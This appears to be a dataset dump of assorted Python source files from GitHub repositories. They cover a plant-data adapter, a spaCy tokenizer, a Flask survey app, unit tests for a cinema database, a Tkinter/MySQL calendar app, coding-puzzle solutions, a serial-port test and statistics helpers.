conn.execute(soil_acidity_statement, payload))\n            soil_acidity_preferences = {\n                EnumAdapters.acidity.get(lt): _cohabitation_type_to_tolerance_types[value] for lt, value in res\n            }\n            if None in soil_acidity_preferences:\n                logger.warning(\n                    \"Some of the soil acidity types was not found in mapping for plant with id={}\",\n                    plant.id,\n                )\n                del soil_acidity_preferences[None]\n\n            res = list(await conn.execute(soil_fertility_statement, payload))\n            soil_fertility_preferences = {\n                EnumAdapters.fertility.get(lt): _cohabitation_type_to_tolerance_types[value] for lt, value in res\n            }\n            if None in soil_fertility_preferences:\n                logger.warning(\n                    \"Some of the soil fertility types was not found in mapping for plant with id={}\",\n                    plant.id,\n                )\n                del soil_fertility_preferences[None]\n\n            res = list(await conn.execute(soil_type_statement, payload))\n            soil_type_preferences = {\n                EnumAdapters.soil.get(lt): _cohabitation_type_to_tolerance_types[value] for lt, value in res\n            }\n            if None in soil_type_preferences:\n                logger.warning(\n                    \"Some of the soil  types was not found in mapping for plant with id={}\",\n                    plant.id,\n                )\n                del soil_type_preferences[None]\n\n            res = list(await conn.execute(usda_zone_statement, payload))\n            usda_zone_preferences = {\n                c_enum.UsdaZone.from_value(uz): _cohabitation_type_to_tolerance_types[value] for uz, value in res\n            }\n            if None in usda_zone_preferences:\n                logger.warning(\n                    \"Some of the usda zones was not found in mapping for plant with id={}\",\n                    plant.id,\n                )\n                del usda_zone_preferences[None]\n\n            plants_out.append(\n                Plant(\n                    plant.name_ru,\n                    plant.name_latin,\n                    plant.genus,\n                    life_form,\n                    limitation_factors_resistances,\n                    usda_zone_preferences,\n                    light_preferences,\n                    humidity_preferences,\n                    soil_acidity_preferences,\n                    soil_fertility_preferences,\n                    soil_type_preferences,\n                    (\n                        c_enum.AggressivenessLevel.from_value(plant.spread_aggressiveness_level)\n                        if plant.spread_aggressiveness_level is not None\n                        else None\n                    ),\n                    (\n                        c_enum.SurvivabilityLevel.from_value(plant.survivability_level)\n                        if plant.survivability_level is not None\n                        else None\n                    ),\n                    plant.is_invasive,\n                )\n            )\n        except Exception as exc:  # pylint: disable=broad-except\n            logger.error(\n                \"Could not transform PlantDTO with id={} to derevo.Plant: {!r}\",\n                plant.id,\n                exc,\n            )\n            logger.debug(\"PlantDto data: {}\", plant)\n\n    return plants_out\n","repo_name":"egov-itmo/derevo","sub_path":"backend/plants_api/utils/adapters/plants.py","file_name":"plants.py","file_ext":"py","file_size_in_byte":8569,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"42159157545","text":"import json\nfrom pathlib import Path\n\nimport spacy\n\nfrom src.features.nlp.config import TokenizerConfig\n\nnlp = spacy.load(\"en_core_web_sm\")\n\n\nclass CustomSpacyTokenizer:\n    \"\"\"Spacy tokenizer to transform text into sequences\n\n    Attributes\n    ----------\n    max_len : int, optional\n        Maximum length of a sequence (the sequence\n        will be truncated at the end). If `None` there is no\n        truncation. If `-1` the length of the longest text\n        in the texts used for fitting will be used. `<start>` and `<end>`\n        are included. By default `None`.\n    vocab_size : int, optional\n        Size of the vocabulary. If `None`, all the unique tokens\n        in the fitting texts will be added to the vocabulary. `<start>` and `<end>`\n        are included. By default `None`.\n    oov : bool\n        If `True` it uses the `<oov>` token. Otherwise it skips the out-of-vocabulary token.\n    pad_sequences : bool, optional\n        If `True` uses zero-padding for the sequences (if `max_len` is specified), by default `True`.\n    \"\"\"\n\n    def __init__(self, max_len=None, vocab_size=None, oov=False, pad_sequences=True):\n        self.max_len = max_len\n        self.vocab_size = vocab_size\n        self.oov = oov\n        self.pad_sequences = pad_sequences\n\n        self.vocab = {\"<start>\": 1, \"<end>\": 2}\n\n        if self.oov:\n            self.vocab[\"<oov>\"] = 3\n\n    def fit(self, texts):\n        \"\"\"Fit the tokenizer on a collection of texts\n\n        Parameters\n        ----------\n        texts : iterable[str]\n            A collection of texts as strings.\n        \"\"\"\n        counts = {}\n        max_text_len = 2\n\n        for text in texts:\n            doc = nlp(text)\n            text_len = 2\n            for token in doc:\n                if not token.is_punct:\n                    if not token.lower_ in counts:\n                        # add lowercase token to the counts\n                        counts[token.lower_] = 0\n                        text_len += 1\n                    counts[token.lower_] += 1\n            if text_len > max_text_len:\n                max_text_len = text_len\n\n        # set the max_len if it is -1\n        if self.max_len == -1:\n            self.max_len = max_text_len\n\n        # sort the words by decreasing number of occurrences\n        words = [k for (k, _) in sorted(counts.items(), key=lambda x: x[1])]\n        words.reverse()\n\n        if self.vocab_size is not None:\n            words = words[: self.vocab_size - 2]\n\n        # the most frequent word will have index 3 or 4 (if oov)\n        idx = 4 if self.oov else 3\n        for word in words:\n            self.vocab[word] = idx\n            idx += 1\n\n        if self.vocab_size is None:\n            self.vocab_size = len(self.vocab)\n\n    def text_to_sequence(self, text):\n        \"\"\"Convert text to sequence of integer words indexes\n\n        Parameters\n        ----------\n        text : str\n            A text.\n\n        Returns\n        -------\n        list[int]\n            A sequence of integers representing the text.\n        \"\"\"\n        doc = nlp(text)\n\n        # make a sequence with\n        sequence = [self.vocab[\"<start>\"]]\n        for token in doc:\n            if token.lower_ in self.vocab:\n                sequence.append(self.vocab[token.lower_])\n            elif self.oov:\n                sequence.append(self.vocab[\"<oov>\"])\n        sequence.append(self.vocab[\"<end>\"])\n\n        if self.max_len is not None or len(sequence) > self.max_len:\n            sequence = sequence[: self.max_len]\n            sequence[-1] = self.vocab[\"<end>\"]\n\n        if self.max_len is not None and self.pad_sequences:\n            sequence += [0] * (self.max_len - len(sequence))\n\n        return sequence\n\n    def sequence_to_text(self, sequence):\n        inv_vocab = dict((v, k) for k, v in self.vocab.items())\n        return \" \".join(inv_vocab[x] for x in sequence if x >= 1)\n\n    def clean_text(self, text):\n        special_tokens = (\"<start>\", \"<end>\", \"<oov>\")\n        return \" \".join(\n            token for token in text.split(\" \") if token not in special_tokens\n        )\n\n    def save_to_json(self):\n        \"\"\"Save the current tokenizer (with vocab) as JSON\n\n        Useful to store the tokenizer after fitting it. This JSON will be\n        stored in the same package and will be used to load the tokenizer\n        using the `from_json` method.\n        \"\"\"\n        current_dir = Path(__file__).resolve().parent\n        d = {\n            \"max_len\": self.max_len,\n            \"vocab_size\": self.vocab_size,\n            \"oov\": self.oov,\n            \"pad_sequences\": self.pad_sequences,\n            \"vocab\": self.vocab,\n        }\n        with (current_dir / \"tokenizer.json\").open(\"w\") as file:\n            json.dump(d, file, indent=4)\n\n    @staticmethod\n    def from_json():\n        \"\"\"Load a tokenizer from a JSON saved with `save_to_json`\n\n        Returns\n        -------\n        CustomSpacyTokenizer\n            The loaded tokenizer with initialized vocab\n        \"\"\"\n        current_dir = Path(__file__).resolve().parent\n        with (current_dir / \"tokenizer.json\").open(\"r\") as file:\n            config = json.load(file)\n            vocab = config[\"vocab\"]\n            del config[\"vocab\"]\n\n            tokenizer = CustomSpacyTokenizer(**config)\n            tokenizer.vocab = vocab\n\n            return tokenizer\n\n    @staticmethod\n    def from_config():\n        \"\"\"Utility method to load a tokenizer with the params set in `config.py`\n\n        This tokenizer is not trained! If you already fitted a tokenizer, and saved it to\n        a JSON file using `save_to_json`, don't call this method.\n        This is a method created just to have the tokenizer config in a single point for\n        the entire application.\n        \"\"\"\n        config = TokenizerConfig()\n        return CustomSpacyTokenizer(\n            max_len=config.MAX_LEN,\n            vocab_size=config.VOCAB_SIZE,\n            oov=config.OOV,\n            pad_sequences=config.PAD_SEQUENCES,\n        )\n","repo_name":"nicolafan/image-captioning-cnn-rnn","sub_path":"src/features/nlp/tokenizer.py","file_name":"tokenizer.py","file_ext":"py","file_size_in_byte":5959,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"22834582209","text":"from flask import Flask, render_template, request, redirect, session\napp = Flask(__name__)\napp.secret_key = 'keep it secret, keep it safe'\n\n@app.route('/')\ndef index():\n    return render_template(\"index.html\")\n\n@app.route('/result', methods=['POST'])         \ndef result():\n    yourName=request.form['your_name']\n    session['yourName']=yourName\n    yourPet=request.form['pet']\n    session['yourPet']=yourPet\n    fav=request.form['fav']\n    session['fav']=fav\n    comment=request.form['comment']\n    session['comment']=comment\n    if 'choice' not in request.form:\n        choice = '...'\n    else:\n        choice=request.form['choice']\n    session['choice']=choice\n    if request.form.get('confession') == None:\n        confession = '...'\n    else:\n        confession=request.form.get('confession')\n    session['confession']=confession\n    return render_template(\"result.html\",yourName=yourName, yourPet=yourPet, fav=fav, comment=comment, choice=choice, confession=confession)\n    \nif __name__ == \"__main__\":\n    app.run(debug=True)","repo_name":"WijiPe/Python-Stack","sub_path":"flask/fundamentals/Dojo_Survey/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7029898698","text":"import unittest\nfrom db_interface import DBInterface\nfrom subprocess import call\nimport os\n\nfrom create_test_database import movies_data, projections_data, reservations_data\n\n\nclass DBInterfaceTest(unittest.TestCase):\n    \"\"\"docstring for DBInterfaceTest\"\"\"\n    def setUp(self):\n        call(\"py create_test_database.py\", shell=True)\n        self.dbi = DBInterface(\"cinema_test.db\")\n        self.movies = movies_data()\n        self.projections = projections_data()\n        self.reservations = reservations_data()\n\n    def test_get_movies(self):\n        self.movies = sorted(self.movies, key=lambda k: k['rating'], reverse=True)\n        self.assertEqual(self.movies, self.dbi.get_movies_by_rating())\n\n    def test_get_movie_projections(self):\n        expected = [{\n            \"id\": 1,\n            \"movie_id\": 1,\n            \"type\": \"3D\",\n            \"date\": \"2014-04-01\",\n            \"time\": \"19:10\"\n        }, {\n            \"id\": 3,\n            \"movie_id\": 1,\n            \"type\": \"2D\",\n            \"date\": \"2014-04-01\",\n            \"time\": \"19:00\"\n        }, {\n            \"id\": 2,\n            \"movie_id\": 1,\n            \"type\": \"4DX\",\n            \"date\": \"2014-04-02\",\n            \"time\": \"21:00\"\n        }]\n        self.assertEqual(expected, self.dbi.get_movie_projections(1))\n\n    def test_get_movie_projections_for_date(self):\n        expected = [{\n            \"id\": 1,\n            \"movie_id\": 1,\n            \"type\": \"3D\",\n            \"date\": \"2014-04-01\",\n            \"time\": \"19:10\"\n        }, {\n            \"id\": 3,\n            \"movie_id\": 1,\n            \"type\": \"2D\",\n            \"date\": \"2014-04-01\",\n            \"time\": \"19:00\"\n        }]\n        self.assertEqual(expected, self.dbi.get_movie_projections(1, \"2014-04-01\"))\n\n    def test_get_projection_seats(self):\n        matrix = self.dbi.get_matrix()\n        matrix[1][0] = 1\n        matrix[2][4] = 1\n        matrix[6][7] = 1\n        self.assertEqual(matrix, self.dbi.get_projection_seats(1))\n\n    def test_get_projection_remaining_seats(self):\n        self.assertEqual(97, self.dbi.get_projection_remaining_seats(1))\n\n    def test_get_reservation_by_name(self):\n        expected = [{\n            \"id\": 1,\n            \"username\": \"RadoRado\",\n            \"projection_id\": 1,\n            \"row\": 2,\n            \"col\": 1\n        }, {\n            \"id\": 2,\n            \"username\": \"RadoRado\",\n            \"projection_id\": 1,\n            \"row\": 3,\n            \"col\": 5\n        }, {\n            \"id\": 3,\n            \"username\": \"RadoRado\",\n            \"projection_id\": 1,\n            \"row\": 7,\n            \"col\": 8\n        }]\n        self.assertEqual(expected, self.dbi.get_reservation_by_name(\"RadoRado\"))\n\n    def test_delete_reservation_by_name(self):\n        self.assertTrue(self.dbi.delete_reservation_by_name(\"RadoRado\"))\n        self.assertEqual([], self.dbi.get_reservation_by_name(\"RadoRado\"))\n\n    def tearDown(self):\n        try:\n            os.remove(\"cinema_test.db\")\n        except OSError:\n            pass\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"tblazhev/HackBulgaria-Programming101","sub_path":"Week4/cinema/db_interface_tests.py","file_name":"db_interface_tests.py","file_ext":"py","file_size_in_byte":3026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12642446505","text":"import string\r\nimport tkinter as tk\r\nimport tkinter.ttk as ttk\r\nimport datetime as da\r\nimport calendar as ca\r\nfrom turtle import width\r\nimport pymysql.cursors\r\nfrom tkinter import scrolledtext\r\n\r\n\r\nWEEK = ['日', '月', '火', '水', '木', '金', '土']\r\nWEEK_COLOUR = ['red', 'black', 'black', 'black','black', 'black', 'blue']\r\nactions = ('学校','試験', '課題', '行事', '就活', 'アルバイト','旅行')\r\n\r\nclass YicDiary:\r\n  def __init__(self, root):\r\n    root.title('予定管理アプリ')\r\n    root.geometry('520x280')\r\n    root.resizable(0, 0)\r\n    root.grid_columnconfigure((0, 1), weight=1)\r\n    self.sub_win = None\r\n\r\n    self.year  = da.date.today().year\r\n    self.mon = da.date.today().month\r\n    self.today = da.date.today().day\r\n\r\n    self.title = None\r\n    # 左側のカレンダー部分\r\n    leftFrame = tk.Frame(root)\r\n    leftFrame.grid(row=0, column=0)\r\n    self.leftBuild(leftFrame)\r\n\r\n    # 右側の予定管理部分\r\n    rightFrame = tk.Frame(root)\r\n    rightFrame.grid(row=0, column=1)\r\n    self.rightBuild(rightFrame)\r\n\r\n\r\n  #-----------------------------------------------------------------\r\n  # アプリの左側の領域を作成する\r\n  #\r\n  # leftFrame: 左側のフレーム\r\n  def leftBuild(self, leftFrame):\r\n    self.viewLabel = tk.Label(leftFrame, font=('', 10))\r\n    beforButton = tk.Button(leftFrame, text='＜', font=('', 10), command=lambda:self.disp(-1))\r\n    nextButton = tk.Button(leftFrame, text='＞', font=('', 10), command=lambda:self.disp(1))\r\n\r\n    self.viewLabel.grid(row=0, column=1, pady=10, padx=10)\r\n    beforButton.grid(row=0, column=0, pady=10, padx=10)\r\n    nextButton.grid(row=0, column=2, pady=10, padx=10)\r\n\r\n    self.calendar = tk.Frame(leftFrame)\r\n    self.calendar.grid(row=1, column=0, columnspan=3)\r\n    self.disp(0)\r\n\r\n\r\n  #-----------------------------------------------------------------\r\n  # アプリの右側の領域を作成する\r\n  #\r\n  # rightFrame: 右側のフレーム\r\n  def rightBuild(self, rightFrame):\r\n    r1_frame = tk.Frame(rightFrame)\r\n    r1_frame.grid(row=0, column=0, pady=10)\r\n\r\n    temp = '{}年{}月{}日の予定'.format(self.year, self.mon, self.today)\r\n    self.title = tk.Label(r1_frame, text=temp, font=('', 12))\r\n    self.title.grid(row=0, column=0, padx=20)\r\n\r\n    button = tk.Button(rightFrame, text='追加', command=lambda:self.add())\r\n    button.grid(row=0, column=1)\r\n\r\n    self.r2_frame = tk.Frame(rightFrame)\r\n    self.r2_frame.grid(row=1, column=0)\r\n\r\n    self.scrolledText = scrolledtext.ScrolledText(rightFrame, width=30, height=10)\r\n    self.scrolledText.grid(column=0, row=10, columnspan=3, sticky=tk.W + tk.E, pady=50, padx=30)\r\n\r\n\r\n    self.schedule()\r\n\r\n\r\n  #-----------------------------------------------------------------\r\n  # アプリの右側の領域に予定を表示する\r\n  #\r\n  def schedule(self):\r\n    # ウィジットを廃棄\r\n    for widget in self.r2_frame.winfo_children():\r\n      widget.destroy()\r\n\r\n    self.scrolledText.delete([1.0], tk.END)\r\n\r\n    click_days = '{}-{}-{}'.format(self.year, self.mon, self.today)\r\n    print(click_days)\r\n    # データベースに予定の問い合わせを行う\r\n\r\n    connection = pymysql.connect(host='127.0.0.1',\r\n                                 user='root',\r\n                                 password='',\r\n                                 db='apr01',\r\n                                 charset='utf8mb4',\r\n                                 cursorclass=pymysql.cursors.DictCursor)\r\n\r\n    try:\r\n      connection.begin()\r\n      with connection.cursor() as cursor:\r\n          sql = ' \\\r\n                SELECT kinds_name, memo, day FROM schedule \\\r\n                inner join calendar on schedule.schedule_id = calendar.schedule_id \\\r\n                inner join kinds on schedule.kinds_id = kinds.kinds_id  \\\r\n                where day = %s \\\r\n                order by schedule.kinds_id DESC; \\\r\n                '\r\n\r\n          cursor.execute(sql, click_days)\r\n\r\n          results = cursor.fetchall()\r\n\r\n          for i, row in enumerate(results):\r\n            string1 = row['kinds_name']\r\n            string2 = row['memo']\r\n            #string3 = string1 + ' ' + string2\r\n            string3 = '[' + string1 + ']' + ' ' + string2\r\n            print(string3)\r\n            self.scrolledText.insert([1.0], string3)\r\n\r\n          #connection.commit()\r\n\r\n    except Exception as e:\r\n      print('error', e)\r\n    finally:\r\n      connection.close()\r\n\r\n  #-----------------------------------------------------------------\r\n  # カレンダーを表示する\r\n  #\r\n  # argv: -1 = 前月\r\n  #        0 = 今月（起動時のみ）\r\n  #        1 = 次月\r\n  def disp(self, argv):\r\n    self.mon = self.mon + argv\r\n    if self.mon < 1:\r\n      self.mon, self.year = 12, self.year - 1\r\n    elif self.mon > 12:\r\n      self.mon, self.year = 1, self.year + 1\r\n\r\n    self.viewLabel['text'] = '{}年{}月'.format(self.year, self.mon)\r\n\r\n    cal = ca.Calendar(firstweekday=6)\r\n    cal = cal.monthdayscalendar(self.year, self.mon)\r\n\r\n    # ウィジットを廃棄\r\n    for widget in self.calendar.winfo_children():\r\n      widget.destroy()\r\n\r\n    # 見出し行\r\n    r = 0\r\n    for i, x in enumerate(WEEK):\r\n      label_day = tk.Label(self.calendar, text=x, font=('', 10), width=3, fg=WEEK_COLOUR[i])\r\n      label_day.grid(row=r, column=i, pady=1)\r\n\r\n    # カレンダー本体\r\n    r = 1\r\n    for week in cal:\r\n      for i, day in enumerate(week):\r\n        if day == 0: day = ' ' \r\n        label_day = tk.Label(self.calendar, text=day, font=('', 10), fg=WEEK_COLOUR[i], borderwidth=1)\r\n        if (da.date.today().year, da.date.today().month, da.date.today().day) == (self.year, self.mon, day):\r\n          label_day['relief'] = 'solid'\r\n        label_day.bind('<Button-1>', self.click)\r\n        label_day.grid(row=r, column=i, padx=2, pady=1)\r\n      r = r + 1\r\n\r\n    # 画面右側の表示を変更\r\n    if self.title is not None:\r\n      self.today = 1\r\n      self.title['text'] = '{}年{}月{}日の予定'.format(self.year, self.mon, self.today)\r\n\r\n\r\n  #-----------------------------------------------------------------\r\n  # 予定を追加したときに呼び出されるメソッド\r\n  #\r\n  def add(self):\r\n    if self.sub_win == None or not self.sub_win.winfo_exists():\r\n      self.sub_win = tk.Toplevel()\r\n      self.sub_win.geometry(\"300x300\")\r\n      self.sub_win.resizable(0, 0)\r\n\r\n      # ラベル\r\n      sb1_frame = tk.Frame(self.sub_win)\r\n      sb1_frame.grid(row=0, column=0)\r\n      temp = '{}年{}月{}日　追加する予定'.format(self.year, self.mon, self.today)\r\n      title = tk.Label(sb1_frame, text=temp, font=('', 12))\r\n      title.grid(row=0, column=0)\r\n\r\n      # 予定種別（コンボボックス）\r\n      sb2_frame = tk.Frame(self.sub_win)\r\n      sb2_frame.grid(row=1, column=0)\r\n      label_1 = tk.Label(sb2_frame, text='種別 : 　', font=('', 10))\r\n      label_1.grid(row=0, column=0, sticky=tk.W)\r\n      self.combo = ttk.Combobox(sb2_frame, state='readonly', values=actions)\r\n      self.combo.current(0)\r\n      self.combo.grid(row=0, column=1)\r\n\r\n      # テキストエリア（垂直スクロール付）\r\n      sb3_frame = tk.Frame(self.sub_win)\r\n      sb3_frame.grid(row=2, column=0)\r\n      self.text = tk.Text(sb3_frame, width=40, height=15)\r\n      self.text.grid(row=0, column=0)\r\n      scroll_v = tk.Scrollbar(sb3_frame, orient=tk.VERTICAL, command=self.text.yview)\r\n      scroll_v.grid(row=0, column=1, sticky=tk.N+tk.S)\r\n      self.text[\"yscrollcommand\"] = scroll_v.set\r\n\r\n      # 保存ボタン\r\n      sb4_frame = tk.Frame(self.sub_win)\r\n      sb4_frame.grid(row=3, column=0, sticky=tk.NE)\r\n      button = tk.Button(sb4_frame, text='保存', command=lambda:self.done())\r\n      button.pack(padx=10, pady=10)\r\n    elif self.sub_win != None and self.sub_win.winfo_exists():\r\n      self.sub_win.lift()\r\n\r\n\r\n  #-----------------------------------------------------------------\r\n  # 予定追加ウィンドウで「保存」を押したときに呼び出されるメソッド\r\n  #\r\n  def done(self):\r\n    # データベースに新規予定を挿入する\r\n    # 日付\r\n    days = '{}-{}-{}'.format(self.year, self.mon, self.today)\r\n    print(days)\r\n    \r\n    # 種別\r\n    kinds = self.combo.get()\r\n    print(kinds)\r\n\r\n    kinds_dict= {'学校':1, '試験':2, '課題':3, '行事':4, '就活':5, 'アルバイト':6, '旅行':7}\r\n    kinds_no = kinds_dict[kinds]\r\n\r\n     # 予定詳細\r\n    memo = self.text.get(\"1.0\", \"end\")\r\n    print(memo)\r\n\r\n\r\n    # 別表にしている人は、外部キーとして呼び出す値を得る\r\n    #　getKey() メソッドは(または関数)は自作すること\r\n    #foreignKey = getKey(kinds) \r\n  \r\n    \r\n    # データベースに接続\r\n    connection = pymysql.connect(host='127.0.0.1',\r\n                                 user='root',\r\n                                 password='',\r\n                                 db='apr01',\r\n                                 charset='utf8mb4',\r\n                                 cursorclass=pymysql.cursors.DictCursor)\r\n\r\n    try:\r\n        #トランザクション開始\r\n        connection.begin()\r\n\r\n        with connection.cursor() as cursor:\r\n          # SQLの作成・定義\r\n          sql = \"INSERT INTO calendar(day) VALUES(%s)\"\r\n          # SQLの実行\r\n          cursor.execute(sql, (days,))\r\n\r\n          # SQLの作成・定義\r\n          sql = \"SELECT MAX(schedule_id) FROM calendar\"\r\n          # SQLの実行\r\n          cursor.execute(sql)\r\n\r\n          # 実行結果の受け取り（複数行の場合）\r\n          results = cursor.fetchone()\r\n\r\n          MAXID = results['MAX(schedule_id)']\r\n\r\n          # SQLの作成・定義\r\n          sql = \"INSERT INTO schedule(schedule_id, kinds_id, memo) VALUE(%s, %s, %s)\"\r\n          # SQLの実行\r\n          cursor.execute(sql, (MAXID, kinds_no, memo))\r\n\r\n\r\n          connection.commit()\r\n        \r\n    except Exception as e:\r\n      print('error:', e)\r\n      connection.rollback()\r\n    finally:\r\n      connection.close()\r\n\r\n\r\n    # この行に制御が移った時点で、DBとの接続は切れている\r\n    self.sub_win.destroy()\r\n\r\n\r\n  #-----------------------------------------------------------------\r\n  # 日付をクリックした際に呼びだされるメソッド（コールバック関数）\r\n  #\r\n  # event: 左クリックイベント <Button-1>\r\n  def click(self, event):\r\n    day = event.widget['text']\r\n    if day != ' ':\r\n      self.title['text'] = '{}年{}月{}日の予定'.format(self.year, self.mon, day)\r\n      self.today = day\r\n\r\n      self.schedule()\r\n\r\n\r\ndef Main():\r\n  root = tk.Tk()\r\n  YicDiary(root)\r\n  root.mainloop()\r\n\r\nif __name__ == '__main__':\r\n  Main()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\"\"\"\r\nwith connection.cursor() as cursor:\r\n  # 参照せれる側のデータ\r\n\r\n  # SQLの作成、定義\r\n  sql = \"INSERT INTO (date) date VALUES('{}-{}-{}')\".format(self.year, self.mon, self.today)\r\n  print(sql)\r\n\r\n  # SQLの実行\r\n  cursor.execute(sql)\r\n\r\n  # 上の捜査で挿入されたデータの主キーを取得\r\n\r\n  sql = \"SELECT max(date_id) FROM date\"\r\n  cursor.execute(sql)\r\n  result = cursor.fetchone()\r\n\r\n  foreignKey = result['max(date_id)']\r\n\r\n  # 参照する側のデータを挿入\r\n  # SQLの実行\r\n  sql = \"INSERT INTO (date_id, type_id) hoge VALUES({}, {})\".format(foreignKey, 1)\r\n  print(sql)\r\n\r\n  # SQLの実行\r\n  cursor.execute(sql)\r\n\r\n\r\n\"\"\"\r\n","repo_name":"B0021036/db_kadai1","sub_path":"YicDiary.py","file_name":"YicDiary.py","file_ext":"py","file_size_in_byte":11339,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7667374987","text":"class Solution:\n    def numIdenticalPairs(self, nums: List[int]) -> int:\n        ans,dic = 0,{}\n        for i,j in enumerate(nums):\n            if j in dic:\n                ans += dic[j]\n                dic[j] += 1\n            else:\n                dic[j] = 1\n        return ans\n# Runtime: 32 ms, faster than 100.00% of Python3 online submissions for Number of Good Pairs.\n# Memory Usage: 13.6 MB, less than 100.00% of Python3 online submissions for Number of Good Pairs.\n","repo_name":"Kuehar/LeetCode","sub_path":"Number of Good Pairs.py","file_name":"Number of Good Pairs.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"24936397570","text":"f = open('plaintext.txt', 'r', encoding='utf-8')\nencryptedText = f.read()\nalphabetList = list(set(encryptedText))\nalphabetNumList = []\nfor i in set(encryptedText):\n    num = encryptedText.count(i)\n    alphabetNumList.append(num)\n\nalphabetFreqDict = dict(zip(alphabetList, alphabetNumList))\nalphabetFreqDict = sorted(alphabetFreqDict.items(), key=lambda x: x[1])\nprint(str(alphabetFreqDict))","repo_name":"xuanlin228/Cipher-Practice","sub_path":"Problem_2/alphabet_frequency.py","file_name":"alphabet_frequency.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"288139918","text":"class Solution:\n    def solve(self, nums):\n        nums.sort()\n        left_sum = 0\n        right_sum = sum(nums)\n\n        for curr_num, next_sum in zip(nums, nums[1:]):\n            left_sum += curr_num\n            right_sum -= curr_num\n            if left_sum == right_sum and curr_num < next_sum:\n                return True\n\n        return False\n","repo_name":"yaeba/binary-search-solutions","sub_path":"solutions/Set-Split.py","file_name":"Set-Split.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"28730481005","text":"import serial\nfrom time import time\nimport json\n\nSERIAL_PORT = \"/dev/ttyUSB0\"\n\nser = serial.Serial(\n    SERIAL_PORT,\n    baudrate=9600,\n    bytesize=8,\n    timeout=2,\n    parity=\"N\",\n    xonxoff=0,\n    stopbits=serial.STOPBITS_ONE,\n)\n\ncommands = [\n    \"DEFP cur\",\n    \"HERE cur\",\n    \"LISTPV cur\",\n    \"DIMP dsadassa[2]\",\n    \"HERE dsadassa[1]\",\n    \"SETPVC dsadassa[1] X 6500\",\n]\n\nreports = []\nfor cmd in commands:\n\n    ser.write(bytes(cmd + \"\\r\", \"Ascii\"))\n\n    start_for_timeout = time()\n    start = start_for_timeout\n\n    time_between_writes = []\n    bytes_to_read = []\n    answers_parts = []\n\n    quit = False\n    while not quit:\n\n        while True:\n            # Global timeout\n            if time() - start_for_timeout > 3:\n                quit = True\n                break\n\n            to_read = ser.in_waiting\n\n            if to_read:\n                break\n\n        if not quit:\n            end = time()\n\n            time_between_writes.append(round(end - start, 3))\n            bytes_to_read.append(to_read)\n            answers_parts.append(ser.read(to_read).decode(\"Ascii\"))\n\n            start = end\n\n    reports.append(\n        {\n            \"command\": cmd,\n            \"total_time\": sum(time_between_writes),\n            \"n_writes\": len(bytes_to_read),\n            \"time_between_writes\": time_between_writes,\n            \"answerpointss_parts\": answers_parts,\n            \"bytes_to_read\": bytes_to_read,\n        }\n    )\n\njson_string = json.dumps(reports, indent=4)\n\nwith open(\"text_files/report.json\", \"w\") as f:\n    f.write(json_string)\n","repo_name":"TiagoLourinho/serial-manipulator-drawings","sub_path":"source/serial_test.py","file_name":"serial_test.py","file_ext":"py","file_size_in_byte":1551,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"6865292142","text":"import math\n\nimport numpy as np\nfrom pandas import Series\n\n\ndef block_average(series: Series, n_block=5) -> (float, float):\n    '''\n    Get block average and standard error\n    '''\n    block_aves = average_of_blocks(series, n_block)\n    ave, stderr = np.mean(block_aves), np.std(block_aves, ddof=1) / math.sqrt(n_block)\n    stderr = float('%.1e' % stderr)  # 2 effective number for stderr\n    return ave, stderr\n\n\ndef average_of_blocks(series: Series, n_block=5) -> [float]:\n    '''\n    Split data to several blocks and return the average of each block\n    '''\n    n_points = len(series)\n    block_size = n_points // n_block\n    blocks = []\n    for n in range(n_block - 1):\n        blocks.append(series.iloc[block_size * n:block_size * (n + 1)])\n    blocks.append(series.iloc[block_size * (n_block - 1):])\n    block_aves = [np.mean(b) for b in blocks]\n    return block_aves\n\n\ndef is_converged(series: Series, frac_min=0.5) -> (bool, float):\n    from pymbar import timeseries\n\n    n_points = len(series)\n    array = np.array(series)\n    t0, g, Neff_max = timeseries.detectEquilibration(array, nskip=max(1, n_points // 100))\n    if t0 > n_points * (1 - frac_min):\n        return False, series.index[t0]\n    return True, series.index[t0]\n\n\ndef efficiency_with_block_size(l: [float]) -> [float]:\n    array = np.array(l)\n    n_points = len(l)\n    bsize_list = []\n    n_block_list = []\n    s_list = []\n\n    for bsize in range(1, int(math.sqrt(n_points))):\n        n_block = int(n_points / bsize)\n        bsize_list.append(bsize)\n        n_block_list.append(n_block)\n\n    for n_block in range(int(math.sqrt(n_points)), 4, -1):\n        bsize = int(n_points / n_block)\n        bsize_list.append(bsize)\n        n_block_list.append(n_block)\n\n    for i, bsize in enumerate(bsize_list):\n        n_block = n_block_list[i]\n        blocks = np.array_split(array, n_block)\n        ave_blocks = [np.mean(block) for block in blocks]\n        std_ave_blocks = np.std(ave_blocks, ddof=1)\n        s = bsize * std_ave_blocks ** 2 / np.std(array) ** 2\n        s_list.append(s)\n\n    import pylab\n    pylab.plot(bsize_list, s_list, '.')\n    pylab.show()\n\n\ndef mean_and_uncertainty(series: Series, inefficiency=None) -> (float, float):\n    from pymbar import timeseries\n\n    ave = np.mean(series)\n    array = np.array(series)\n    if inefficiency == None:\n        inefficiency = timeseries.statisticalInefficiency(array)\n    return ave, np.std(array, ddof=1) / math.sqrt(len(array) / inefficiency)\n\n","repo_name":"sungroup-sjtu/AIMS_Tools","sub_path":"mstools/analyzer/series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":2470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
